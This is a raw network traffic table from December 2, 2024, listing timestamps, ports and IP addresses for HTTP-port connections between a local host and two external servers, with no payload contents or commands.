Dec 2, 2024 11:21:04.944830894 CET	49751	80	192.168.11.20	185.215.113.43
Dec 2, 2024 11:21:06.459657907 CET	49751	80	192.168.11.20	185.215.113.43
Dec 2, 2024 11:21:06.459711075 CET	49752	80	192.168.11.20	185.215.113.43
Dec 2, 2024 11:21:06.781994104 CET	80	49752	185.215.113.43	192.168.11.20
Dec 2, 2024 11:21:06.782047987 CET	80	49751	185.215.113.43	192.168.11.20
Dec 2, 2024 11:21:06.782258987 CET	49751	80	192.168.11.20	185.215.113.43
Dec 2, 2024 11:21:06.782259941 CET	49752	80	192.168.11.20	185.215.113.43
Dec 2, 2024 11:21:06.782387972 CET	49752	80	192.168.11.20	185.215.113.43
Dec 2, 2024 11:21:07.104346037 CET	80	49752	185.215.113.43	192.168.11.20
Dec 2, 2024 11:21:07.127549887 CET	80	49752	185.215.113.43	192.168.11.20
Dec 2, 2024 11:21:07.127840996 CET	49752	80	192.168.11.20	185.215.113.43
Dec 2, 2024 11:21:07.130069017 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:07.462908983 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:07.463144064 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:07.463268042 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:07.796097994 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:07.796595097 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:07.796845913 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:07.796870947 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:07.796916008 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:07.796987057 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:07.797091007 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:07.797116041 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:07.797149897 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:07.797247887 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:07.797358990 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:07.797389984 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:07.797516108 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:07.797554970 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:07.797581911 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:07.797599077 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:07.797641993 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:07.797702074 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:07.797734022 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:07.797746897 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:07.797790051 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:07.797818899 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:07.797897100 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:07.797955990 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:07.798042059 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.129919052 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.130018950 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.130052090 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.130148888 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.130290031 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.130357981 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.130537987 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.130573034 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.130619049 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.130810022 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.130884886 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.130964994 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.130996943 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.131043911 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.131108999 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.131115913 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.131140947 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.131164074 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.131282091 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.131299019 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.131347895 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.131376982 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.131403923 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.131450891 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.131505966 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.131536007 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.131578922 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.131582975 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.131628990 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.131730080 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.131781101 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.131788969 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.131849051 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.131905079 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.131959915 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.132020950 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.132052898 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.132093906 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.132112026 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.132137060 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.132173061 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.132184982 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.132255077 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.132313967 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.132376909 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.132390022 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.132457018 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.132577896 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.463294029 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.463391066 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.463419914 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.463457108 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.463546038 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.463589907 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.463677883 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.463685989 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.463717937 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.463754892 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.463903904 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.463948965 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.463968992 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.463992119 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.464031935 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.464075089 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.464118004 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.464178085 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.464230061 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.464255095 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.464281082 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.464319944 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.464379072 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.464488983 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.464512110 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.464540005 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.464541912 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.464576006 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.464696884 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.464807034 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.464812040 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.464840889 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.464878082 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.465034962 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.465065956 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.465064049 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.465101957 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.465249062 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.465249062 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.465272903 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.465306997 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.465374947 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.465430975 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.465446949 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.465500116 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.465528011 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.465537071 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.465606928 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.465653896 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.465684891 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.465707064 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.465748072 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.465823889 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.465842962 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.465867043 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.465907097 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.466017962 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.466038942 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.466058016 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.466083050 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.466119051 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.466196060 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.466197014 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.466305971 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.466315985 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.466331005 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.466367006 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.466516972 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.466556072 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.466586113 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.466607094 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.466620922 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.466656923 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.466698885 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.466736078 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.466741085 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.466762066 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.466794968 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.466820002 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.466834068 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.466973066 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.467022896 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.467061996 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.467087984 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.467183113 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.467207909 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.467273951 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.467313051 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.467336893 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.467372894 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.467506886 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.467515945 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.467515945 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.467534065 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.467755079 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.796981096 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.797090054 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.797146082 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.797197104 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.797235012 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.797240019 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.797269106 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.797287941 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.797377110 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.797444105 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.797486067 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.797524929 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.797578096 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.797590017 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.797663927 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.797720909 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.797748089 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.797766924 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.797842979 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.797868967 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.797873974 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.797868967 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.797935963 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.797936916 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.797981977 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.798011065 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.798079014 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.798084021 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.798151970 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.798155069 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.798233032 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.798302889 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.798306942 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.798348904 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.798369884 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.798378944 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.798466921 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.798482895 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.798482895 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.798537970 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.798568010 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.798610926 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.798654079 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.798674107 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.798732042 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.798788071 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.798804998 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.798850060 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.798850060 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.798878908 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.798979998 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.798979998 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.799034119 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.799163103 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.799220085 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.799241066 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.799340963 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.799354076 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.799390078 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.799452066 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.799494982 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.799556971 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.799587011 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.799614906 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.799647093 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.799678087 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.799736977 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.799740076 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.799772978 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.799835920 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.799844027 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.799880028 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.799918890 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.799927950 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.799989939 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.799989939 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.799989939 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.800062895 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.800091982 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.800156116 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.800244093 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.800247908 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.800399065 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.800426006 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.800481081 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.800544977 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.800549030 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.800595999 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.800625086 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.800692081 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.800703049 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.800749063 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.800772905 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.800836086 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.800847054 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.800899982 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.800921917 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.800964117 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.800992012 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.801039934 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.801062107 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.801106930 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.801131010 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.801136017 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.801196098 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.801196098 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.801402092 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.801528931 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.801558971 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.801601887 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.801649094 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.801676035 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.801708937 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.801738977 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.801796913 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.801810026 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.801867008 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.801875114 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.801897049 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.801939964 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.801975965 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.802023888 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.802092075 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.802175999 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.802233934 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.802280903 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.802336931 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.802341938 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.802367926 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.802417994 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.802417994 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.802433968 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.802505970 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.802584887 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.802588940 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.802676916 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.802680969 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.802722931 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.802752018 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.802835941 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.802835941 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.802901983 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.802968025 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.802997112 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.803040981 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.803066969 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.803112984 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.803133011 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.803145885 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.803200960 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.803200960 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.803217888 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.803261995 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.803324938 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.803353071 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.803378105 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.803407907 CET	49753	80	192.168.11.20	31.41.244.11
